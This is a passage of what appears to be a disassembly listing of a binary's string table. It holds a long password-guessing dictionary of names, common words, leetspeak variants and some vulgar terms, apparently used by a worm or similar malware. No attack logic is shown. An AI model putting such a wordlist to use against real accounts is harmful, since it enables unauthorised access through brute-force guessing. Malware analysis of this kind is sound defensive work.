aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset byte_43C80C align 10h dword_4313B0 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aZimmerman db 'zimmerman',0 ; DATA XREF: ___:004313A4o align 10h aZap db 'zap',0 ; DATA XREF: ___:004313A0o aYellowstone db 'yellowstone',0 ; DATA XREF: ___:0043139Co aXyz db 'xyz',0 ; DATA XREF: ___:00431398o aWisconsin db 'wisconsin',0 ; DATA XREF: ___:00431394o align 10h aWilliamsburg db 'williamsburg',0 ; DATA XREF: ___:00431390o align 10h aWholesale db 'wholesale',0 ; DATA XREF: ___:0043138Co align 4 aTty db 'tty',0 ; DATA XREF: ___:00431388o aTopography db 'topography',0 ; DATA XREF: ___:00431384o align 4 aTemptation db 'temptation',0 ; DATA XREF: ___:00431380o align 4 aTelephone db 'telephone',0 ; DATA XREF: ___:0043137Co align 4 aTangerine db 'tangerine',0 ; DATA XREF: ___:00431378o align 10h aSys db 'sys',0 ; DATA XREF: ___:00431374o aSupported db 'supported',0 ; DATA XREF: ___:00431370o align 10h aSuperuser db 'superuser',0 ; DATA XREF: ___:0043136Co align 4 aSuperstage db 'superstage',0 ; DATA XREF: ___:00431368o align 4 aSun db 'sun',0 ; DATA XREF: ___:00431364o aStuttgart db 'stuttgart',0 ; DATA XREF: ___:00431360o align 4 aStratford db 'stratford',0 ; DATA XREF: ___:0043135Co align 4 aStephanie db 'stephanie',0 ; DATA XREF: ___:00431358o align 10h aSignature db 'signature',0 ; DATA XREF: ___:00431354o align 4 aSheffield db 'sheffield',0 ; DATA XREF: ___:00431350o align 4 aSal db 'sal',0 ; DATA XREF: ___:0043134Co aRochester db 'rochester',0 ; DATA XREF: ___:00431348o align 4 aRje db 'rje',0 ; DATA XREF: ___:00431344o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: ___:00431340o align 4 aPub db 'pub',0 ; DATA XREF: ___:0043133Co aProfessor db 'professor',0 ; DATA XREF: ___:00431338o align 4 aPrinceton db 'princeton',0 ; DATA XREF: ___:00431334o align 4 aPondering db 'pondering',0 ; DATA XREF: ___:00431330o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: ___:0043132Co align 10h aPersimmon db 'persimmon',0 ; DATA XREF: ___:00431328o align 4 aPercolate db 'percolate',0 ; DATA XREF: ___:00431324o align 4 aPam db 'pam',0 ; DATA XREF: ___:00431320o aPad db 'pad',0 ; DATA XREF: ___:0043131Co aOceanography db 'oceanography',0 ; DATA XREF: ___:00431318o align 10h aNutrition db 'nutrition',0 ; DATA XREF: ___:00431314o align 4 aNew db 'new',0 ; DATA XREF: ___:00431310o aNet db 'net',0 ; DATA XREF: ___:0043130Co aMit db 'mit',0 ; DATA XREF: ___:00431308o aMgr db 'mgr',0 ; DATA XREF: ___:00431304o aMacintosh db 'macintosh',0 ; DATA XREF: ___:00431300o align 4 aLiz db 'liz',0 ; DATA XREF: ___:004312FCo aLee db 'lee',0 ; DATA XREF: ___:004312F8o aLamination db 'lamination',0 ; DATA XREF: ___:004312F4o align 4 aKim db 'kim',0 ; DATA XREF: ___:004312F0o aJoy db 'joy',0 ; DATA XREF: ___:004312E8o aJen db 'jen',0 ; DATA XREF: ___:004312E4o aInnocuous db 'innocuous',0 ; DATA XREF: ___:004312E0o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: ___:004312DCo align 10h aIbm db 'ibm',0 ; DATA XREF: ___:004312D8o aHappening db 'happening',0 ; DATA XREF: ___:004312D4o align 10h aHal db 'hal',0 ; DATA XREF: ___:004312D0o aGnu db 'gnu',0 ; DATA XREF: ___:004312CCo aFun db 'fun',0 ; DATA XREF: ___:004312C8o aForesight db 'foresight',0 ; DATA XREF: ___:004312C4o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: ___:004312C0o align 4 aExtension db 'extension',0 ; DATA XREF: ___:004312BCo align 10h aEstablish db 'establish',0 ; DATA XREF: ___:004312B8o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: ___:004312B4o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: ___:004312B0o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: ___:004312ACo align 10h aEdinburgh db 'edinburgh',0 ; DATA XREF: ___:004312A8o align 4 aDos db 'dos',0 ; DATA XREF: ___:004312A4o aDog db 'dog',0 ; DATA XREF: ___:004312A0o aDiscovery db 'discovery',0 ; DATA XREF: ___:0043129Co align 10h aDesperate db 'desperate',0 ; DATA XREF: ___:00431298o align 4 aDeb db 'deb',0 ; DATA XREF: ___:00431294o aCornelius db 'cornelius',0 ; DATA XREF: ___:00431290o align 4 aCommrades db 'commrades',0 ; DATA XREF: ___:0043128Co align 4 aChristine db 'christine',0 ; DATA XREF: ___:00431288o align 4 aChristina db 'christina',0 ; DATA XREF: ___:00431284o align 10h aChemistry db 'chemistry',0 ; DATA XREF: ___:00431280o align 4 aCatherine db 'catherine',0 ; DATA XREF: ___:0043127Co align 4 aCat db 'cat',0 ; DATA XREF: ___:00431278o aCampanile db 'campanile',0 ; DATA XREF: ___:00431274o align 4 aCad db 'cad',0 ; DATA XREF: ___:00431270o aBsd db 'bsd',0 ; DATA XREF: ___:0043126Co aBob db 'bob',0 ; DATA XREF: ___:00431268o aBicameral db 'bicameral',0 ; DATA XREF: ___:00431264o align 10h aBeethoven db 'beethoven',0 ; DATA XREF: ___:00431260o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: ___:0043125Co align 4 aAsm db 'asm',0 ; DATA XREF: ___:00431258o aAsd db 'asd',0 ; DATA XREF: ___:00431254o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: ___:00431250o align 10h aAnn db 'ann',0 ; DATA XREF: ___:0043124Co aAndromache db 'andromache',0 ; DATA XREF: ___:00431248o align 10h aAmy db 'amy',0 ; DATA XREF: ___:00431244o aAmorphous db 'amorphous',0 ; DATA XREF: ___:00431240o align 10h aAma db 'ama',0 ; DATA XREF: ___:0043123Co aAlf db 'alf',0 ; DATA XREF: ___:00431238o aAlbatross db 'albatross',0 ; DATA XREF: ___:00431234o align 4 aAda db 'ada',0 ; DATA XREF: ___:00431230o aH4x0ring db 'h4x0ring',0 ; DATA XREF: ___:0043122Co align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: ___:00431228o align 10h aH4x1ng db 'h4x1ng',0 ; DATA XREF: ___:00431224o align 4 aHaxing db 'haxing',0 ; DATA XREF: ___:00431220o align 10h aHax db 'hax',0 ; DATA XREF: ___:0043121Co aWh0re db 'wh0re',0 ; DATA XREF: ___:00431218o align 4 aHo db 'ho',0 ; DATA XREF: ___:00431214o align 10h aWh0r3 db 'wh0r3',0 ; DATA XREF: ___:00431210o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: ___:0043120Co align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: ___:00431208o align 10h aWindozeme db 'windozeME',0 ; DATA XREF: ___:00431204o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: ___:00431200o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: ___:004311FCo align 4 aWindows95 db 'windows95',0 ; DATA XREF: ___:004311F8o align 10h aWindows98 db 'windows98',0 ; DATA XREF: ___:004311F4o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: ___:004311F0o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: ___:004311ECo align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: ___:004311E8o align 10h aMs db 'MS',0 ; DATA XREF: ___:004311E4o align 4 aM db 'M$',0 ; DATA XREF: ___:004311E0o align 4 aBilly db 'billy',0 ; DATA XREF: ___:004311DCo align 10h aWindose db 'windose',0 ; DATA XREF: ___:004311D8o aWindoze db 'windoze',0 ; DATA XREF: ___:004311D4o aWindowz db 'windowz',0 ; DATA XREF: ___:004311D0o aWileecoyote db 'wileecoyote',0 ; DATA XREF: ___:004311CCo aDonaldduck db 'donaldduck',0 ; DATA XREF: ___:004311C8o align 10h aAlexander db 'Alexander',0 ; DATA XREF: ___:004311C4o align 4 aAl3x db 'Al3x',0 ; DATA XREF: ___:004311C0o align 4 aDud3 db 'dud3',0 ; DATA XREF: ___:004311BCo align 4 aDudette db 'dudette',0 ; DATA XREF: ___:004311B8o aD00d db 'd00d',0 ; DATA XREF: ___:004311B4o align 4 aLol db 'lol',0 ; DATA XREF: ___:004311B0o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: ___:004311ACo align 10h aRoscop db 'RoscoP',0 ; DATA XREF: ___:004311A8o align 4 aRosco db 'Rosco',0 ; DATA XREF: ___:004311A4o align 10h aRoss db 'Ross',0 ; DATA XREF: ___:004311A0o align 4 aTestin db 'testin',0 ; DATA XREF: ___:0043119Co align 10h aTester db 'tester',0 ; DATA XREF: ___:00431198o align 4 a00000000 db '00000000',0 ; DATA XREF: ___:00431194o align 4 aZulu db 'zulu',0 ; DATA XREF: ___:00431190o align 4 aZombie db 'zombie',0 ; DATA XREF: ___:0043118Co align 4 aZmodem db 'zmodem',0 ; DATA XREF: ___:00431188o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: ___:00431184o align 4 aZiggy db 'ziggy',0 ; DATA XREF: ___:00431180o align 10h aZeitgeis db 'zeitgeis',0 ; DATA XREF: ___:0043117Co align 4 aZebra db 'zebra',0 ; DATA XREF: ___:00431178o align 4 aYoung db 'young',0 ; DATA XREF: ___:00431174o align 4 aYosemite db 'yosemite',0 ; DATA XREF: ___:00431170o align 4 aYolanda db 'yolanda',0 ; DATA XREF: ___:0043116Co aYellowst db 'yellowst',0 ; DATA XREF: ___:00431168o align 4 aYellow db 'yellow',0 ; DATA XREF: ___:00431164o align 4 aYankee db 'yankee',0 ; DATA XREF: ___:00431160o align 4 aYang db 'yang',0 ; DATA XREF: ___:0043115Co align 4 aYaco db 'yaco',0 ; DATA XREF: ___:00431158o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: ___:00431154o align 4 aXray db 'xray',0 ; DATA XREF: ___:00431150o align 4 aXmodem db 'xmodem',0 ; DATA XREF: ___:0043114Co align 4 aXmen db 'xmen',0 ; DATA XREF: ___:00431148o align 4 aXman db 'xman',0 ; DATA XREF: ___:00431144o align 4 aXfer db 'xfer',0 ; DATA XREF: ___:00431140o align 4 aXena db 'xena',0 ; DATA XREF: ___:0043113Co align 4 aWyoming db 'wyoming',0 ; DATA XREF: ___:00431138o aWwii db 'wwii',0 ; DATA XREF: ___:00431134o align 4 aWormwood db 'wormwood',0 ; DATA XREF: ___:00431130o align 10h aWorm db 'worm',0 ; DATA XREF: ___:0043112Co align 4 aWork db 'work',0 ; DATA XREF: ___:00431128o align 10h aWorf db 'worf',0 ; DATA XREF: ___:00431124o align 4 aWordperf db 'wordperf',0 ; DATA XREF: ___:00431120o align 4 aWord db 'word',0 ; DATA XREF: ___:0043111Co align 4 aWoodwind db 'woodwind',0 ; DATA XREF: ___:00431118o align 4 aWood db 'wood',0 ; DATA XREF: ___:00431114o align 10h aWomen db 'women',0 ; DATA XREF: ___:00431110o align 4 aWombat db 'wombat',0 ; DATA XREF: ___:0043110Co align 10h aWoman db 'woman',0 ; DATA XREF: ___:00431108o align 4 aWolverin db 'wolverin',0 ; DATA XREF: ___:00431104o align 4 aWolf db 'wolf',0 ; DATA XREF: ___:00431100o align 4 aWizard db 'wizard',0 ; DATA XREF: ___:004310FCo align 4 aWithin db 'within',0 ; DATA XREF: ___:004310F8o align 4 aWiseass db 'wiseass',0 ; DATA XREF: ___:004310F4o aWisconsi db 'wisconsi',0 ; DATA XREF: ___:004310F0o align 10h aWired db 'wired',0 ; DATA XREF: ___:004310ECo align 4 aWinston db 'winston',0 ; DATA XREF: ___:004310E8o aWing db 'wing',0 ; DATA XREF: ___:004310E4o align 4 aWine db 'wine',0 ; DATA XREF: ___:004310E0o align 10h aWindows db 'windows',0 ; DATA XREF: ___:004310DCo aWilma db 'wilma',0 ; DATA XREF: ___:004310D8o align 10h aWillie db 'willie',0 ; DATA XREF: ___:004310D4o align 4 aWilliams db 'williams',0 ; DATA XREF: ___:004310D0o align 4 aWilliam db 'william',0 ; DATA XREF: ___:004310CCo aWill db 'will',0 ; DATA XREF: ___:004310C8o align 4 aWhore db 'whore',0 ; DATA XREF: ___:004310C4o align 4 aWholesal db 'wholesal',0 ; DATA XREF: ___:004310C0o align 4 aWhitney db 'whitney',0 ; DATA XREF: ___:004310BCo aWhiting db 'whiting',0 ; DATA XREF: ___:004310B8o aWhite db 'white',0 ; DATA XREF: ___:004310B4o align 10h aWhisky db 'whisky',0 ; DATA XREF: ___:004310B0o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: ___:004310ACo aWhatever db 'whatever',0 ; DATA XREF: ___:004310A8o align 4 aWestern db 'western',0 ; DATA XREF: ___:004310A4o aWest db 'west',0 ; DATA XREF: ___:004310A0o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: ___:0043109Co align 4 aWendy db 'wendy',0 ; DATA XREF: ___:00431098o align 10h aWendi db 'wendi',0 ; DATA XREF: ___:00431094o align 4 aWell db 'well',0 ; DATA XREF: ___:00431090o align 10h aWeenie db 'weenie',0 ; DATA XREF: ___:0043108Co align 4 aWeed db 'weed',0 ; DATA XREF: ___:00431088o align 10h aWednesda db 'wednesda',0 ; DATA XREF: ___:00431084o align 4 aWebpage db 'webpage',0 ; DATA XREF: ___:00431080o aWave db 'wave',0 ; DATA XREF: ___:0043107Co align 4 aWater db 'water',0 ; DATA XREF: ___:00431078o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: ___:00431074o align 10h aWasp db 'wasp',0 ; DATA XREF: ___:00431070o align 4 aWarren db 'warren',0 ; DATA XREF: ___:0043106Co align 10h aWarp db 'warp',0 ; DATA XREF: ___:00431068o align 4 aWargames db 'wargames',0 ; DATA XREF: ___:00431064o align 4 aWarfare db 'warfare',0 ; DATA XREF: ___:00431060o aWarez db 'warez',0 ; DATA XREF: ___:0043105Co align 4 aWard db 'ward',0 ; DATA XREF: ___:00431058o align 4 aWaco db 'waco',0 ; DATA XREF: ___:00431054o align 4 aVodka db 'vodka',0 ; DATA XREF: ___:00431050o align 4 aVisualba db 'visualba',0 ; DATA XREF: ___:0043104Co align 4 aVisual db 'visual',0 ; DATA XREF: ___:00431048o align 10h aVisitor db 'visitor',0 ; DATA XREF: ___:00431044o aVirus db 'virus',0 ; DATA XREF: ___:00431040o align 10h aVirginia db 'virginia',0 ; DATA XREF: ___:0043103Co align 4 aVirgin db 'virgin',0 ; DATA XREF: ___:00431038o align 4 aVillage db 'village',0 ; DATA XREF: ___:00431034o aVideogam db 'videogam',0 ; DATA XREF: ___:00431030o align 4 aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A2o ; ___:0043102Co align 